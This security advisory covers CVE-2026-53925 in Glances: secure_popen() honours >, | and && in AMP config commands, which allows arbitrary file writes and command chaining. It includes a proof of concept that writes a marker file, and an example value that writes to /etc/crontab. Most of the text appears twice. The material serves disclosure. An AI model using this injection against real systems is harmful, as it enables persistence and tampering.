CVE-2026-53925

Summary

The secure_popen() function in glances/secure.py interprets > (file redirection), | (pipe), and && (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.

When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via >), chain arbitrary commands (via &&), or pipe command output to arbitrary programs (via |).

Crucially, this vulnerability is not mitigated by the --disable-config-exec flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in config.get_value(); it does not affect the secure_popen() function's interpretation of shell-like operators.

Details

Affected code path 1 — Default AMP (glances/amps/default/__init__.py:69)

res = self.get('command')
# ...
self.set_result(secure_popen(res).rstrip())

The command config value is loaded from [amp_<name>] sections via GlancesAmp.load_config() (glances/amps/amp.py:81):

self.configs[param] = config.get_value(amp_section, param).split(',')

Affected code path 2 — SystemV AMP (glances/amps/systemv/__init__.py:60)

res = secure_popen(self.get('service_cmd'))

The service_cmd config value is loaded from [amp_systemv] sections via the same GlancesAmp.load_config() method.

Sink — secure_popen() (glances/secure.py:33-77)

The function explicitly parses:

• > for file redirection (line 39): cmd.split('>') — the path after > is used directly in open(stdout_redirect, "w") (line 71) with no path validation.
• | for command piping (line 51): cmd.split('|') — each segment is executed as a separate Popen with stdout piped to the next.
• && for command chaining (line 27 in secure_popen): cmd.split('&&') — each segment is executed sequentially.

None of these operators are sanitized or restricted when loading AMP configuration values.

Why --disable-config-exec does not help:

The --disable-config-exec flag (introduced for CVE-2026-33641) only prevents system_exec() from running backtick-embedded commands in config.get_value(). It does not affect how the resulting string value is processed by secure_popen(). A command value like echo data > /etc/crontab contains no backticks and passes through get_value() unchanged, then secure_popen() interprets the > operator and writes to the arbitrary path.

PoC

Clean-checkout recipe:

1. Create a test configuration file:

cat > /tmp/poc-glances.conf << 'EOF'
[amp_poc]
enable=true
regex=.*
refresh=3
command=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp

[outputs]
cors_origins=*
EOF

2. Run a Python script that simulates the AMP command execution path:

import sys
sys.path.insert(0, '/path/to/glances')
from glances.config import Config
from glances.secure import secure_popen
import os

# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)
config = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)

# Read AMP command value (same as amp.py load_config)
command = config.get_value('amp_poc', 'command')
print(f'Command: {command!r}')

# Execute (same as amps/default/__init__.py line 69)
marker = '/tmp/cve-poc-marker-amp'
assert not os.path.exists(marker), 'Clean state required'
result = secure_popen(command)
print(f'Result: {result!r}')

# Verify arbitrary file write occurred
assert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'
with open(marker) as f:
    content = f.read()
print(f'Written to {marker}: {content!r}')
assert 'POC_ARBITRARY_FILE_WRITE' in content

# Cleanup…

Summary

The secure_popen() function in glances/secure.py interprets > (file redirection), | (pipe), and && (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command.

When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via >), chain arbitrary commands (via &&), or pipe command output to arbitrary programs (via |).

Crucially, this vulnerability is not mitigated by the --disable-config-exec flag that was introduced to address CVE-2026-33641. That flag only disables backtick command execution in config.get_value(); it does not affect the secure_popen() function's interpretation of shell-like operators.

Details

Affected code path 1 — Default AMP (glances/amps/default/__init__.py:69)

res = self.get('command')
# ...
self.set_result(secure_popen(res).rstrip())

The command config value is loaded from [amp_<name>] sections via GlancesAmp.load_config() (glances/amps/amp.py:81):

self.configs[param] = config.get_value(amp_section, param).split(',')

Affected code path 2 — SystemV AMP (glances/amps/systemv/__init__.py:60)

res = secure_popen(self.get('service_cmd'))

The service_cmd config value is loaded from [amp_systemv] sections via the same GlancesAmp.load_config() method.

Sink — secure_popen() (glances/secure.py:33-77)

The function explicitly parses:

• > for file redirection (line 39): cmd.split('>') — the path after > is used directly in open(stdout_redirect, "w") (line 71) with no path validation.
• | for command piping (line 51): cmd.split('|') — each segment is executed as a separate Popen with stdout piped to the next.
• && for command chaining (line 27 in secure_popen): cmd.split('&&') — each segment is executed sequentially.

None of these operators are sanitized or restricted when loading AMP configuration values.

Why --disable-config-exec does not help:

The --disable-config-exec flag (introduced for CVE-2026-33641) only prevents system_exec() from running backtick-embedded commands in config.get_value(). It does not affect how the resulting string value is processed by secure_popen(). A command value like echo data > /etc/crontab contains no backticks and passes through get_value() unchanged, then secure_popen() interprets the > operator and writes to the arbitrary path.

PoC

Clean-checkout recipe:

1. Create a test configuration file:

cat > /tmp/poc-glances.conf << 'EOF'
[amp_poc]
enable=true
regex=.*
refresh=3
command=echo POC_ARBITRARY_FILE_WRITE > /tmp/cve-poc-marker-amp

[outputs]
cors_origins=*
EOF

2. Run a Python script that simulates the AMP command execution path:

import sys
sys.path.insert(0, '/path/to/glances')
from glances.config import Config
from glances.secure import secure_popen
import os

# Load config with --disable-config-exec ACTIVE (CVE-2026-33641 mitigation)
config = Config(config_dir='/tmp/poc-glances.conf', disable_config_exec=True)

# Read AMP command value (same as amp.py load_config)
command = config.get_value('amp_poc', 'command')
print(f'Command: {command!r}')

# Execute (same as amps/default/__init__.py line 69)
marker = '/tmp/cve-poc-marker-amp'
assert not os.path.exists(marker), 'Clean state required'
result = secure_popen(command)
print(f'Result: {result!r}')

# Verify arbitrary file write occurred
assert os.path.exists(marker), 'VULNERABILITY NOT CONFIRMED'
with open(marker) as f:
    content = f.read()
print(f'Written to {marker}: {content!r}')
assert 'POC_ARBITRARY_FILE_WRITE' in content

# Cleanup…

Glances is an open-source system cross-platform monitoring tool. From 4.0.8 until 4.5.5, the secure_popen() function in glances/secure.py interprets > (file redirection), | (pipe), and && (command chaining) operators in command strings. These operators are applied without any validation on the target file path, piped command, or chained command. When Application Monitoring Process (AMP) modules load their command or service_cmd configuration values from glances.conf, those values are passed directly to secure_popen() with no sanitization. This allows an attacker who can modify the Glances configuration file to write arbitrary content to arbitrary filesystem paths (via >), chain arbitrary commands (via &&), or pipe command output to arbitrary programs (via |). This vulnerability is fixed in 4.5.5.

These are all security issues fixed in the glances-common-4.5.5-1.1 package on the GA media of openSUSE Tumbleweed.